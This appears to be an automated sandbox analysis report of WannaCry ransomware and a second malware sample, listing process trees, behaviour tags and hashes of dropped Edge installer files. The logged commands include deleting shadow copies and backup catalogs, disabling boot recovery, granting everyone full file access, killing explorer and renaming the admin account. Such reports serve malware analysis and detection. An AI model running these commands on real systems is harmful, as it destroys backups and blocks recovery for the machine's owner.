                                                            "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNzEuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xNzEuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MEUxQUI1REQtQTY3OC00Qjc1LThENzMtQzlEQjRBNDExQkI5fSIgdXNlcmlkPSJ7M0NFMDhDMDQtNzVCRS00QjNGLUIxMzAtOEQ2RkNDMDlFRjQyfSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9Ins2QzZEMjQxOC02OUU5LTRDQTUtOTBBRC0wRjJDM0UwNEJEN0N9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iOCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iREFEWSIgcHJvZHVjdF9uYW1lPSJTdGFuZGFyZCBQQyAoUTM1ICsgSUNIOSwgMjAwOSkiLz48ZXhwIGV0YWc9IiZxdW90O3FXSlN6V3dQZmRjTFIrWEdJdjZ4clpmaVlPeGhQVTJzMU5XbWpXY2FGUGc9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEwNi4wLjUyNDkuMTE5IiBuZXh0dmVyc2lvbj0iMTA2LjAuNTI0OS4xMTkiIGxhbmc9ImVuIiBicmFuZD0iR0dMUyIgY2xpZW50PSIiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSI1IiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI0ODc3OTg3OTY5Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
                                                            2⤵
                                                            • Checks system information in the registry
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:5508
                                                          • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{C99B604A-7A37-432C-AB8F-C8CE0DC81DF3}\MicrosoftEdge_X64_122.0.2365.80.exe
                                                            "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{C99B604A-7A37-432C-AB8F-C8CE0DC81DF3}\MicrosoftEdge_X64_122.0.2365.80.exe" --msedgewebview --verbose-logging --do-not-launch-msedge --system-level
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:5200
                                                            • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{C99B604A-7A37-432C-AB8F-C8CE0DC81DF3}\EDGEMITMP_C3D87.tmp\setup.exe
                                                              "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{C99B604A-7A37-432C-AB8F-C8CE0DC81DF3}\EDGEMITMP_C3D87.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{C99B604A-7A37-432C-AB8F-C8CE0DC81DF3}\MicrosoftEdge_X64_122.0.2365.80.exe" --msedgewebview --verbose-logging --do-not-launch-msedge --system-level
                                                              3⤵
                                                              • Drops file in Program Files directory
                                                              • Executes dropped EXE
                                                              PID:4036
                                                              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{C99B604A-7A37-432C-AB8F-C8CE0DC81DF3}\EDGEMITMP_C3D87.tmp\setup.exe
                                                                "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{C99B604A-7A37-432C-AB8F-C8CE0DC81DF3}\EDGEMITMP_C3D87.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.112 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{C99B604A-7A37-432C-AB8F-C8CE0DC81DF3}\EDGEMITMP_C3D87.tmp\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=122.0.2365.80 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x7ff6dfac69a8,0x7ff6dfac69b4,0x7ff6dfac69c0
                                                                4⤵
                                                                • Executes dropped EXE
                                                                PID:4536
                                                          • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                                            "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNzEuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xNzEuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MEUxQUI1REQtQTY3OC00Qjc1LThENzMtQzlEQjRBNDExQkI5fSIgdXNlcmlkPSJ7M0NFMDhDMDQtNzVCRS00QjNGLUIxMzAtOEQ2RkNDMDlFRjQyfSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9IntFOTVEMzc1RC0yRERDLTQ4RUQtOUNGOS1BRkYwODUxOUE4RTZ9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iOCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iREFEWSIgcHJvZHVjdF9uYW1lPSJTdGFuZGFyZCBQQyAoUTM1ICsgSUNIOSwgMjAwOSkiLz48ZXhwIGV0YWc9IiZxdW90O3I0NTJ0MStrMlRncS9IWHpqdkZOQlJob3BCV1I5c2JqWHhxZVVESDl1WDA9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0ie0YzMDE3MjI2LUZFMkEtNDI5NS04QkRGLTAwQzNBOUE3RTRDNX0iIHZlcnNpb249IiIgbmV4dHZlcnNpb249IjEyMi4wLjIzNjUuODAiIGxhbmc9IiIgYnJhbmQ9IiIgY2xpZW50PSIiIGV4cGVyaW1lbnRzPSJjb25zZW50PWZhbHNlIiBpbnN0YWxsYWdlPSItMSIgaW5zdGFsbGRhdGU9Ii0xIj48dXBkYXRlY2hlY2svPjxldmVudCBldmVudHR5cGU9IjkiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjQ4OTg5NzgzOTgiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSI1IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI0ODk5MzQ4MTIxIiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTExMzk4ODIzNiIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIgZG93bmxvYWRlcj0iYml0cyIgdXJsPSJodHRwOi8vbXNlZGdlLmYudGx1LmRsLmRlbGl2ZXJ5Lm1wLm1pY3Jvc29mdC5jb20vZmlsZXN0cmVhbWluZ3NlcnZpY2UvZmlsZXMvNWQyYzdkYmYtMmZhNC00ZmM2LTg2M2EtMmFjNGY5NzM2M2Q2P1AxPTE3MTA5MzgzNjgmYW1wO1AyPTQwNCZhbXA7UDM9MiZhbXA7UDQ9R3lKTWhqTCUyYmd2Ykh5dlY0VVFqck5FN25GUyUyZmx3elc4SWM0Vk45UThzc1NQTjZIeml5Wld6c2kzcUhVJTJmdlQ1Z1pIZXVIdGp1TG5pblpMR2sxTENrYkElM2QlM2QiIHNlcnZlcl9pcF9oaW50PSIiIGNkbl9jaWQ9Ii0xIiBjZG5fY2NjPSIiIGNkbl9tc2VkZ2VfcmVmPSIiIGNkbl9henVyZV9yZWZfb3JpZ2luX3NoaWVsZD0iIiBjZG5fY2FjaGU9IiIgY2RuX3AzcD0iIiBkb3dubG9hZGVkPSIxNzE3MDc5NjAiIHRvdGFsPSIxNzE3MDc5NjAiIGRvd25sb2FkX3RpbWVfbXM9IjE0OTU2Ii8-PGV2ZW50IGV2ZW50dHlwZT0iMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTExNDE3ODMyNSIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjYiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjUxMjg3ODgzOTQiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIxOTY3NTciIHN5c3RlbV91cHRpbWVfdGlja3M9IjU2MTExMjgwNDYiIHNvdXJjZV91cmxfaW5kZXg9IjAiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiIHVwZGF0ZV9jaGVja190aW1lX21zPSIzOTYiIGRvd25sb2FkX3RpbWVfbXM9IjIxNDY5IiBkb3dubG9hZGVkPSIxNzE3MDc5NjAiIHRvdGFsPSIxNzE3MDc5NjAiIHBhY2thZ2VfY2FjaGVfcmVzdWx0PSIwIiBpbnN0YWxsX3RpbWVfbXM9IjQ4MjMyIi8-PC9hcHA-PC9yZXF1ZXN0Pg
                                                            2⤵
                                                            • Checks system information in the registry
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:5528
                                                        • C:\Windows\System32\rundll32.exe
                                                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                          1⤵
                                                            PID:6060
                                                          • C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\[email protected]
                                                            "C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\[email protected]"
                                                            1⤵
                                                            • Drops startup file
                                                            • Sets desktop wallpaper using registry
                                                            PID:5160
                                                            • C:\Windows\SysWOW64\attrib.exe
                                                              attrib +h .
                                                              2⤵
                                                              • Views/modifies file attributes
                                                              PID:1592
                                                            • C:\Windows\SysWOW64\icacls.exe
                                                              icacls . /grant Everyone:F /T /C /Q
                                                              2⤵
                                                              • Modifies file permissions
                                                              PID:3040
                                                            • C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\taskdl.exe
                                                              taskdl.exe
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:4992
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c 67571710333768.bat
                                                              2⤵
                                                                PID:5456
                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                  cscript.exe //nologo m.vbs
                                                                  3⤵
                                                                    PID:5256
                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                  attrib +h +s F:\$RECYCLE
                                                                  2⤵
                                                                  • Views/modifies file attributes
                                                                  PID:5608
                                                                • C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\@[email protected]
                                                                  @[email protected] co
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:5760
                                                                  • C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\TaskData\Tor\taskhsvc.exe
                                                                    TaskData\Tor\taskhsvc.exe
                                                                    3⤵
                                                                    • Executes dropped EXE
                                                                    • Loads dropped DLL
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:4288
                                                                  • C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\TaskData\Tor\taskhsvc.exe
                                                                    TaskData\Tor\taskhsvc.exe
                                                                    3⤵
                                                                    • Executes dropped EXE
                                                                    PID:452
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  cmd.exe /c start /b @[email protected] vs
                                                                  2⤵
                                                                    PID:5740
                                                                    • C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\@[email protected]
                                                                      @[email protected] vs
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:4596
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                                                                        4⤵
                                                                          PID:3784
                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                            wmic shadowcopy delete
                                                                            5⤵
                                                                              PID:3648
                                                                    • C:\Users\Admin\AppData\Local\Temp\Temp1_000.zip\[email protected]
                                                                      "C:\Users\Admin\AppData\Local\Temp\Temp1_000.zip\[email protected]"
                                                                      1⤵
                                                                      • Enumerates connected drives
                                                                      • Sets desktop wallpaper using registry
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:4468
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""
                                                                        2⤵
                                                                          PID:432
                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                            taskkill /f /im explorer.exe
                                                                            3⤵
                                                                            • Kills process with taskkill
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4820
                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                            taskkill /f /im taskmgr.exe
                                                                            3⤵
                                                                            • Kills process with taskkill
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:5560
                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                            wmic useraccount where name='Admin' set FullName='UR NEXT'
                                                                            3⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3944
                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                            wmic useraccount where name='Admin' rename 'UR NEXT'
                                                                            3⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4724
                                                                          • C:\Windows\SysWOW64\shutdown.exe
                                                                            shutdown /f /r /t 0
                                                                            3⤵
                                                                              PID:5664
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 4340
                                                                            2⤵
                                                                            • Program crash
                                                                            PID:3704
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 4340
                                                                            2⤵
                                                                            • Program crash
                                                                            PID:4156
                                                                        • C:\Windows\system32\vssvc.exe
                                                                          C:\Windows\system32\vssvc.exe
                                                                          1⤵
                                                                            PID:5116
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4468 -ip 4468
                                                                            1⤵
                                                                              PID:5076
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4468 -ip 4468
                                                                              1⤵
                                                                                PID:4812
                                                                              • C:\Windows\system32\LogonUI.exe
                                                                                "LogonUI.exe" /flags:0x4 /state0:0xa3974855 /state1:0x41c64e6d
                                                                                1⤵
                                                                                • Modifies data under HKEY_USERS
                                                                                • Suspicious use of SetWindowsHookEx
                                                                                PID:2260

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v15

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              • C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.80\Installer\setup.exe
                                                                                Filesize

                                                                                6.8MB

                                                                                MD5

                                                                                c7355148bfe4f8c0f4a2d64009f53888

                                                                                SHA1

                                                                                71f924decb8b7ef5ff4c6ddd2f6a0dc49a06f381

                                                                                SHA256

                                                                                d79bab271698082da29359c71051899f23f3dd956548efe0eb8965e7c2969983

                                                                                SHA512

                                                                                fc52ace4c524e85883ca40b8fcd2a9d25a30d99a23e0be46a7b599bea0996392990fba9cb945a6dc24ca3b65d3f61eea5ce7af9d64bac1cf13345e648fa74357

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Download\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}\122.0.2365.80\MicrosoftEdge_X64_122.0.2365.80.exe
                                                                                Filesize

                                                                                3.4MB

                                                                                MD5

                                                                                73c201c9abdd3b94aa706fdb146c910d

                                                                                SHA1

                                                                                10b7510e2b6091b45d80e255cdca5982a7862a2e

                                                                                SHA256

                                                                                ef5fcc306495bcceda287c3b99d9a892189e6b8ec8474288c89fec864fe8dfd0

                                                                                SHA512

                                                                                4689f403ea2f1f244a2cf456415989f18015e39fe0dd288a0a4184ddee5ae72bd9a757e82b6f198a6a2f791840734baac2166978f12a87294350661b047fe6e7

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\EdgeUpdate.dat
                                                                                Filesize

                                                                                12KB

                                                                                MD5

                                                                                369bbc37cff290adb8963dc5e518b9b8

                                                                                SHA1

                                                                                de0ef569f7ef55032e4b18d3a03542cc2bbac191

                                                                                SHA256

                                                                                3d7ec761bef1b1af418b909f1c81ce577c769722957713fdafbc8131b0a0c7d3

                                                                                SHA512

                                                                                4f8ec1fd4de8d373a4973513aa95e646dfc5b1069549fafe0d125614116c902bfc04b0e6afd12554cc13ca6c53e1f258a3b14e54ac811f6b06ed50c9ac9890b1

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\MicrosoftEdgeComRegisterShellARM64.exe
                                                                                Filesize

                                                                                179KB

                                                                                MD5

                                                                                7a160c6016922713345454265807f08d

                                                                                SHA1

                                                                                e36ee184edd449252eb2dfd3016d5b0d2edad3c6

                                                                                SHA256

                                                                                35a14bd84e74dd6d8e2683470243fb1bb9071178d9283b12ebbfb405c8cd4aa9

                                                                                SHA512

                                                                                c0f1d5c8455cf14f2088ede062967d6dfa7c39ca2ac9636b10ed46dfbea143f64106a4f03c285e89dd8cf4405612f1eef25a8ec4f15294ca3350053891fc3d7e

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\MicrosoftEdgeUpdate.exe
                                                                                Filesize

                                                                                201KB

                                                                                MD5

                                                                                4dc57ab56e37cd05e81f0d8aaafc5179

                                                                                SHA1

                                                                                494a90728d7680f979b0ad87f09b5b58f16d1cd5

                                                                                SHA256

                                                                                87c6f7d9b58f136aeb33c96dbfe3702083ec519aafca39be66778a9c27a68718

                                                                                SHA512

                                                                                320eeed88d7facf8c1f45786951ef81708c82cb89c63a3c820ee631c52ea913e64c4e21f0039c1b277cfb710c4d81cd2191878320d00fd006dd777c727d9dc2b

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe
                                                                                Filesize

                                                                                212KB

                                                                                MD5

                                                                                60dba9b06b56e58f5aea1a4149c743d2

                                                                                SHA1

                                                                                a7e456acf64dd99ca30259cf45b88cf2515a69b3

                                                                                SHA256

                                                                                4d01f5531f93ab2af9e92c4f998a145c94f36688c3793845d528c8675697e112

                                                                                SHA512

                                                                                e98088a368d4c4468e325a1d62bee49661f597e5c1cd1fe2dabad3911b8ac07e1cc4909e7324cb4ab39f30fa32a34807685fcfba767f88884ef84ca69a0049e7

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\MicrosoftEdgeUpdateCore.exe
                                                                                Filesize

                                                                                257KB

                                                                                MD5

                                                                                c044dcfa4d518df8fc9d4a161d49cece

                                                                                SHA1

                                                                                91bd4e933b22c010454fd6d3e3b042ab6e8b2149

                                                                                SHA256

                                                                                9f79fe09f57002ca07ae0b2a196e8cc002d2be6d5540ee857217e99b33fa4bb2

                                                                                SHA512

                                                                                f26b89085aa22ac62a28610689e81b4dfe3c38a9015ec56dfeaff02fdb6fa64e784b86a961509b52ad968400faa1ef0487f29f07a41e37239fe4c3262a11ac2c

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\NOTICE.TXT
                                                                                Filesize

                                                                                4KB

                                                                                MD5

                                                                                6dd5bf0743f2366a0bdd37e302783bcd

                                                                                SHA1

                                                                                e5ff6e044c40c02b1fc78304804fe1f993fed2e6

                                                                                SHA256

                                                                                91d3fc490565ded7621ff5198960e501b6db857d5dd45af2fe7c3ecd141145f5

                                                                                SHA512

                                                                                f546c1dff8902a3353c0b7c10ca9f69bb77ebd276e4d5217da9e0823a0d8d506a5267773f789343d8c56b41a0ee6a97d4470a44bbd81ceaa8529e5e818f4951e

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdate.dll
                                                                                Filesize

                                                                                2.0MB

                                                                                MD5

                                                                                965b3af7886e7bf6584488658c050ca2

                                                                                SHA1

                                                                                72daabdde7cd500c483d0eeecb1bd19708f8e4a5

                                                                                SHA256

                                                                                d80c512d99765586e02323a2e18694965eafb903e9bc13f0e0b4265f86b21a19

                                                                                SHA512

                                                                                1c57dc7b89e7f13f21eaec7736b724cd864c443a2f09829308a4f23cb03e9a5f2a1e5bcdc441301e33119767e656a95d0f9ede0e5114bf67f5dce6e55de7b0a4

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdateres_af.dll
                                                                                Filesize

                                                                                28KB

                                                                                MD5

                                                                                567aec2d42d02675eb515bbd852be7db

                                                                                SHA1

                                                                                66079ae8ac619ff34e3ddb5fb0823b1790ba7b37

                                                                                SHA256

                                                                                a881788359b2a7d90ac70a76c45938fb337c2064487dcb8be00b9c311d10c24c

                                                                                SHA512

                                                                                3a7414e95c2927d5496f29814556d731aef19efa531fb58988079287669dfc033f3e04c8740697571df76bfecfe3b75659511783ce34682d2a2ea704dfa115b3

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdateres_am.dll
                                                                                Filesize

                                                                                24KB

                                                                                MD5

                                                                                f6c1324070b6c4e2a8f8921652bfbdfa

                                                                                SHA1

                                                                                988e6190f26e4ca8f7ea3caabb366cf1edcdcbbf

                                                                                SHA256

                                                                                986b0654a8b5f7b23478463ff051bffe1e9bbdeb48744e4aa1bd3d89a7520717

                                                                                SHA512

                                                                                63092cf13e8a19966181df695eb021b0a9993afe8f98b1309973ea999fdf4cd9b6ffd609968d4aa0b2cde41e872688a283fd922d8b22cb5ad06339fe18221100

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdateres_ar.dll
                                                                                Filesize

                                                                                26KB

                                                                                MD5

                                                                                570efe7aa117a1f98c7a682f8112cb6d

                                                                                SHA1

                                                                                536e7c49e24e9aa068a021a8f258e3e4e69fa64f

                                                                                SHA256

                                                                                e2cc8017bc24e73048c7ee68d3787ed63c3898eec61299a9ca1bab8aeaa8da01

                                                                                SHA512

                                                                                5e963dd55a5739a1da19cec7277dc3d07afdb682330998fd8c33a1b5949942019521967d8b5af0752a7a8e2cf536faa7e62982501170319558ceaa21ed657ae8

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdateres_as.dll
                                                                                Filesize

                                                                                28KB

                                                                                MD5

                                                                                a8d3210e34bf6f63a35590245c16bc1b

                                                                                SHA1

                                                                                f337f2cbec05b7e20ca676d7c2b1a8d5ae8bf693

                                                                                SHA256

                                                                                3b82de846ad028544013383e3c9fb570d2a09abf2c854e8a4d641bd7fc3b3766

                                                                                SHA512

                                                                                6e47ffe8f7c2532e7854dcae3cbd4e6533f0238815cb6af5ea85087c51017ea284542b988f07692d0297ebab1bad80d7613bf424ff532e10b01c8e528ab1043a

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdateres_az.dll
                                                                                Filesize

                                                                                29KB

                                                                                MD5

                                                                                7937c407ebe21170daf0975779f1aa49

                                                                                SHA1

                                                                                4c2a40e76209abd2492dfaaf65ef24de72291346

                                                                                SHA256

                                                                                5ab96e4e6e065dbce3b643c6be2c668f5570984ead1a8b3578bbd2056fbad4e9

                                                                                SHA512

                                                                                8670746941660e6573732077f5ed1b630f94a825cf4ac9dbe5018772eaac1c48216334757a2aeaa561034b4d907162a370b8f0bae83b34a09457fafe165fb5d7

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdateres_bg.dll
                                                                                Filesize

                                                                                29KB

                                                                                MD5

                                                                                8375b1b756b2a74a12def575351e6bbd

                                                                                SHA1

                                                                                802ec096425dc1cab723d4cf2fd1a868315d3727

                                                                                SHA256

                                                                                a12df15afac4eb2695626d7a8a2888bdf54c8db671043b0677180f746d8ad105

                                                                                SHA512

                                                                                aec4bb94fde884db79a629abcff27fd8afb7f229d055514f51fa570fb47a85f8dfc9a54a8f69607d2bcaf82fae1ec7ffab0b246795a77a589be11fad51b24d19

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdateres_bn-IN.dll
                                                                                Filesize

                                                                                29KB

                                                                                MD5

                                                                                a94cf5e8b1708a43393263a33e739edd

                                                                                SHA1

                                                                                1068868bdc271a52aaae6f749028ed3170b09cce

                                                                                SHA256

                                                                                5b01fe11016610d5606f815281c970c86025732fc597b99c031a018626cd9f3c

                                                                                SHA512

                                                                                920f7fed1b720afdb569aec2961bd827a6fc54b4598c0704f65da781d142b1707e5106a459f0c289e0f476b054d93c0b733806af036b68f46377dde0541af2e7

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdateres_bn.dll
                                                                                Filesize

                                                                                29KB

                                                                                MD5

                                                                                7dc58c4e27eaf84ae9984cff2cc16235

                                                                                SHA1

                                                                                3f53499ddc487658932a8c2bcf562ba32afd3bda

                                                                                SHA256

                                                                                e32f77ed3067d7735d10f80e5a0aa0c50c993b59b82dc834f2583c314e28fa98

                                                                                SHA512

                                                                                bdec1300cf83ea06dfd351fe1252b850fecea08f9ef9cb1207fce40ce30742348db953107ade6cdb0612af2e774345faf03a8a6476f2f26735eb89153b4256dc

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdateres_bs.dll
                                                                                Filesize

                                                                                28KB

                                                                                MD5

                                                                                e338dccaa43962697db9f67e0265a3fc

                                                                                SHA1

                                                                                4c6c327efc12d21c4299df7b97bf2c45840e0d83

                                                                                SHA256

                                                                                99b1b7e25fbc2c64489c0607cef0ae5ff720ab529e11093ed9860d953adeba04

                                                                                SHA512

                                                                                e0c15b166892433ef31ddf6b086680c55e1a515bed89d51edbdf526fcac71fb4e8cb2fadc739ac75ae5c2d9819fc985ca873b0e9e2a2925f82e0a456210898f9

                                                                                Download Submit

                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\msedgeupdateres_ca-Es-VALENCIA.dll
                                                                                Filesize

                                                                                29KB

                                                                                MD5

                                                                                2929e8d496d95739f207b9f59b13f925

                                                                                SHA1

                                                                                7c1c574194d9e31ca91e2a21a5c671e5e95c734c

                                                                                SHA256

                                                                                2726c48a468f8f6debc2d9a6a0706b640b2852c885e603e6b2dec638756160df

                                                                                SHA512

                                                                                ea459305d3c3fa7a546194f649722b76072f31e75d59da149c57ff05f4af8f38a809066054df809303937bbca917e67441da2f0e1ea37b50007c25ae99429957

                                                                                Download Submit

